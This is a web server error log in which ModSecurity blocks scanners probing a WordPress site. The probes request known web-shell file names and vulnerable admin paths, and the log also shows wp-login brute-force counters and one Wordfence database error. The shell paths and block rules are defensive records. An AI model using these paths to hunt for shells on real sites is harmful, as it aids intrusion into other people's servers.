[Wed Mar 04 05:17:14.821301 2026] [:error] [pid 18555:tid 18641] [client 52.252.56.196:63688] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aadP2jQeUDANiOsQ3Gdp8gAAAJY"]
[Wed Mar 04 05:17:15.619834 2026] [:error] [pid 18554:tid 18616] [client 52.252.56.196:65403] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aadP250fKmKeTIK7QS2MMgAAAFg"]
[Wed Mar 04 05:17:16.382193 2026] [:error] [pid 18554:tid 18601] [client 52.252.56.196:63661] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aadP3J0fKmKeTIK7QS2MNQAAAEk"]
[Wed Mar 04 05:17:17.036212 2026] [:error] [pid 18554:tid 18605] [client 52.252.56.196:62799] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aadP3Z0fKmKeTIK7QS2MOAAAAE0"]
[Wed Mar 04 05:17:17.784453 2026] [:error] [pid 54487:tid 54504] [client 52.252.56.196:65336] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aadP3fN8030QMpFXddsQyQAAAQ8"]
[Wed Mar 04 05:17:18.543365 2026] [:error] [pid 54487:tid 54489] [client 52.252.56.196:62444] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aadP3vN8030QMpFXddsQywAAAQA"]
[Wed Mar 04 05:17:55.559167 2026] [:error] [pid 18681:tid 18704] [client 52.252.56.196:65344] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aadQA6E_TuZYUBveWkWRwgAAANU"]
[Wed Mar 04 05:18:12.652278 2026] [:error] [pid 54487:tid 54491] [client 52.252.56.196:63673] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/logs/skin.php"] [unique_id "aadQFPN8030QMpFXddsRmAAAAQI"]
[Wed Mar 04 05:18:13.251738 2026] [:error] [pid 18555:tid 18630] [client 52.252.56.196:64792] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Gel.php"] [unique_id "aadQFTQeUDANiOsQ3GdqTAAAAIs"]
[Wed Mar 04 05:18:13.982004 2026] [:error] [pid 18554:tid 18616] [client 52.252.56.196:63667] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Gel.php"] [unique_id "aadQFZ0fKmKeTIK7QS2M8gAAAFg"]
[Wed Mar 04 05:18:14.473854 2026] [:error] [pid 18555:tid 18635] [client 52.252.56.196:65382] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Gel.php"] [unique_id "aadQFjQeUDANiOsQ3GdqTwAAAJA"]
[Wed Mar 04 05:18:15.262729 2026] [:error] [pid 18555:tid 18625] [client 52.252.56.196:64064] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Gel.php"] [unique_id "aadQFzQeUDANiOsQ3GdqUQAAAIY"]
[Wed Mar 04 05:18:16.664918 2026] [:error] [pid 18555:tid 18630] [client 52.252.56.196:62803] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/logs/dz1.php"] [unique_id "aadQGDQeUDANiOsQ3GdqWQAAAIs"]
[Wed Mar 04 05:18:17.402941 2026] [:error] [pid 54487:tid 54497] [client 52.252.56.196:65283] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/logs/dz1.php"] [unique_id "aadQGfN8030QMpFXddsRmgAAAQg"]
[Wed Mar 04 05:18:17.991919 2026] [:error] [pid 54487:tid 54498] [client 52.252.56.196:65405] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/logs/dz1.php"] [unique_id "aadQGfN8030QMpFXddsRngAAAQk"]
[Wed Mar 04 05:18:18.518956 2026] [:error] [pid 54487:tid 54493] [client 52.252.56.196:64774] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/logs/dz1.php"] [unique_id "aadQGvN8030QMpFXddsRowAAAQQ"]
[Wed Mar 04 05:18:19.006607 2026] [:error] [pid 18555:tid 18624] [client 52.252.56.196:64780] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/moon.php"] [unique_id "aadQGzQeUDANiOsQ3GdqWwAAAIU"]
[Wed Mar 04 05:18:19.490163 2026] [:error] [pid 18555:tid 18642] [client 52.252.56.196:65376] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/moon.php"] [unique_id "aadQGzQeUDANiOsQ3GdqXAAAAJc"]
[Wed Mar 04 05:18:20.104076 2026] [:error] [pid 18554:tid 18614] [client 52.252.56.196:64105] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "aadQHJ0fKmKeTIK7QS2M-gAAAFY"]
[Wed Mar 04 05:18:20.698062 2026] [:error] [pid 18554:tid 18599] [client 52.252.56.196:64026] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "aadQHJ0fKmKeTIK7QS2M-wAAAEc"]
[Wed Mar 04 05:18:21.711166 2026] [:error] [pid 54487:tid 54510] [client 52.252.56.196:63721] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nagiosql/admin/logbook.php"] [unique_id "aadQHfN8030QMpFXddsRpwAAARU"]
[Wed Mar 04 05:18:22.828583 2026] [:error] [pid 54487:tid 54506] [client 52.252.56.196:64033] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfacgiapi/admin.php"] [unique_id "aadQHvN8030QMpFXddsRrAAAARE"]
[Wed Mar 04 05:18:23.558685 2026] [:error] [pid 18555:tid 18636] [client 52.252.56.196:64056] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/chosen.php"] [unique_id "aadQHzQeUDANiOsQ3GdqYgAAAJE"]
[Wed Mar 04 05:18:24.583070 2026] [:error] [pid 18555:tid 18626] [client 52.252.56.196:64809] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso112233a.php"] [unique_id "aadQIDQeUDANiOsQ3GdqZQAAAIc"]
[Wed Mar 04 05:18:25.757135 2026] [:error] [pid 54487:tid 54511] [client 52.252.56.196:65301] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso112233a.php"] [unique_id "aadQIfN8030QMpFXddsRuAAAARY"]
[Wed Mar 04 05:18:26.605994 2026] [:error] [pid 18554:tid 18593] [client 52.252.56.196:63622] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso112233a.php"] [unique_id "aadQIp0fKmKeTIK7QS2NAgAAAEE"]
[Wed Mar 04 05:18:27.759740 2026] [:error] [pid 18554:tid 18598] [client 52.252.56.196:63702] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso112233a.php"] [unique_id "aadQI50fKmKeTIK7QS2NBQAAAEY"]
[Wed Mar 04 05:18:29.546685 2026] [:error] [pid 54487:tid 54508] [client 52.252.56.196:63712] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pixelpages/application/views/auth/common/about.php7"] [unique_id "aadQJfN8030QMpFXddsRxAAAARM"]
[Wed Mar 04 05:18:31.411180 2026] [:error] [pid 54487:tid 54504] [client 52.252.56.196:64123] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pixelpages/application/views/auth/common/about.php7"] [unique_id "aadQJ_N8030QMpFXddsRzQAAAQ8"]
[Wed Mar 04 05:18:33.009472 2026] [:error] [pid 18681:tid 18702] [client 52.252.56.196:65373] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/aaa.php"] [unique_id "aadQKaE_TuZYUBveWkWR-AAAANM"]
[Wed Mar 04 05:18:36.222420 2026] [:error] [pid 18553:tid 18571] [client 52.252.56.196:65364] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style.php"] [unique_id "aadQLGbax1neh8d0AHaHrgAAAAc"]
[Wed Mar 04 05:18:37.170674 2026] [:error] [pid 18554:tid 18610] [client 52.252.56.196:63691] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aadQLZ0fKmKeTIK7QS2NIgAAAFI"]
[Wed Mar 04 05:18:39.416509 2026] [:error] [pid 54487:tid 54509] [client 52.252.56.196:64803] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aadQL_N8030QMpFXddsR2AAAARQ"]
[Wed Mar 04 05:18:41.455646 2026] [:error] [pid 54487:tid 54501] [client 52.252.56.196:64066] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aadQMfN8030QMpFXddsR5wAAAQw"]
[Wed Mar 04 05:18:43.101600 2026] [:error] [pid 54487:tid 54489] [client 52.252.56.196:64047] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aadQM_N8030QMpFXddsR8AAAAQA"]
[Wed Mar 04 07:34:59.499640 2026] [:error] [pid 18553:tid 18585] [client 155.133.142.66:46423] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.142.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aadwI2bax1neh8d0AHac7QAAABU"]
[Wed Mar 04 09:10:39.975280 2026] [:error] [pid 18554:tid 18608] [client 211.21.61.246:36424] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaeGj50fKmKeTIK7QS0c3QAAAFA"]
[Wed Mar 04 09:50:53.123317 2026] [:error] [pid 18555:tid 18632] [client 45.86.202.179:26353] [client 45.86.202.179] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaeP_TQeUDANiOsQ3GepxgAAAI0"]
[Wed Mar 04 11:49:05.888955 2026] [:error] [pid 18555:tid 18619] [client 152.233.20.86:37479] [client 152.233.20.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaersTQeUDANiOsQ3GfD1wAAAIA"]
[Wed Mar 04 12:17:14.525150 2026] [proxy_fcgi:error] [pid 18554:tid 18601] [client 103.4.122.14:34890] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Wed Mar 04 12:32:31.061685 2026] [:error] [pid 18554:tid 18610] [client 195.201.83.173:49186] [client 195.201.83.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.83.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aae1350fKmKeTIK7QS2s1gAAAFI"]
[Wed Mar 04 12:57:03.586825 2026] [:error] [pid 45947:tid 46055] [client 104.248.33.228:34792] [client 104.248.33.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.33.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aae7n0QXEtszYKy6sasQWgAAAVc"]
[Wed Mar 04 13:01:34.174628 2026] [:error] [pid 45947:tid 46055] [client 43.228.157.73:51515] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aae8rkQXEtszYKy6sasURgAAAVc"]
[Wed Mar 04 13:01:34.729124 2026] [:error] [pid 18553:tid 18577] [client 43.228.157.73:51720] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aae8rmbax1neh8d0AHbOXgAAAA0"]
[Wed Mar 04 13:01:35.310971 2026] [:error] [pid 18553:tid 18576] [client 43.228.157.73:51914] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aae8r2bax1neh8d0AHbOggAAAAw"]
[Wed Mar 04 13:01:35.922779 2026] [:error] [pid 18681:tid 18683] [client 43.228.157.73:52134] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aae8r6E_TuZYUBveWkUovgAAAMA"]
[Wed Mar 04 13:01:36.487609 2026] [:error] [pid 18681:tid 18704] [client 43.228.157.73:52333] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aae8sKE_TuZYUBveWkUpAQAAANU"]
[Wed Mar 04 13:47:01.485467 2026] [:error] [pid 51357:tid 51403] [client 217.182.195.181:59232] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aafHVWimsh8xS8jkf2g2GQAAAAI"]
[Wed Mar 04 13:47:08.233578 2026] [:error] [pid 51357:tid 51412] [client 217.182.195.181:59258] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aafHXGimsh8xS8jkf2g2IQAAAAs"]
[Wed Mar 04 13:47:15.460773 2026] [:error] [pid 51510:tid 51525] [client 217.182.195.181:42260] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aafHY3-78MmWmoTGI7swAAAAAQw"]
[Wed Mar 04 13:47:20.745817 2026] [:error] [pid 51510:tid 51537] [client 217.182.195.181:46152] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aafHaH-78MmWmoTGI7swFAAAARg"]
[Wed Mar 04 13:47:25.803029 2026] [:error] [pid 51510:tid 51519] [client 217.182.195.181:46174] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aafHbX-78MmWmoTGI7swJwAAAQY"]
[Wed Mar 04 13:47:29.495678 2026] [:error] [pid 51357:tid 51404] [client 217.182.195.181:37876] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aafHcWimsh8xS8jkf2g2VwAAAAM"]
[Wed Mar 04 13:47:33.757078 2026] [:error] [pid 51357:tid 51402] [client 217.182.195.181:37892] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aafHdWimsh8xS8jkf2g2YQAAAAE"]
[Wed Mar 04 13:47:37.203197 2026] [:error] [pid 51510:tid 51529] [client 217.182.195.181:37904] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aafHeX-78MmWmoTGI7swRAAAARA"]
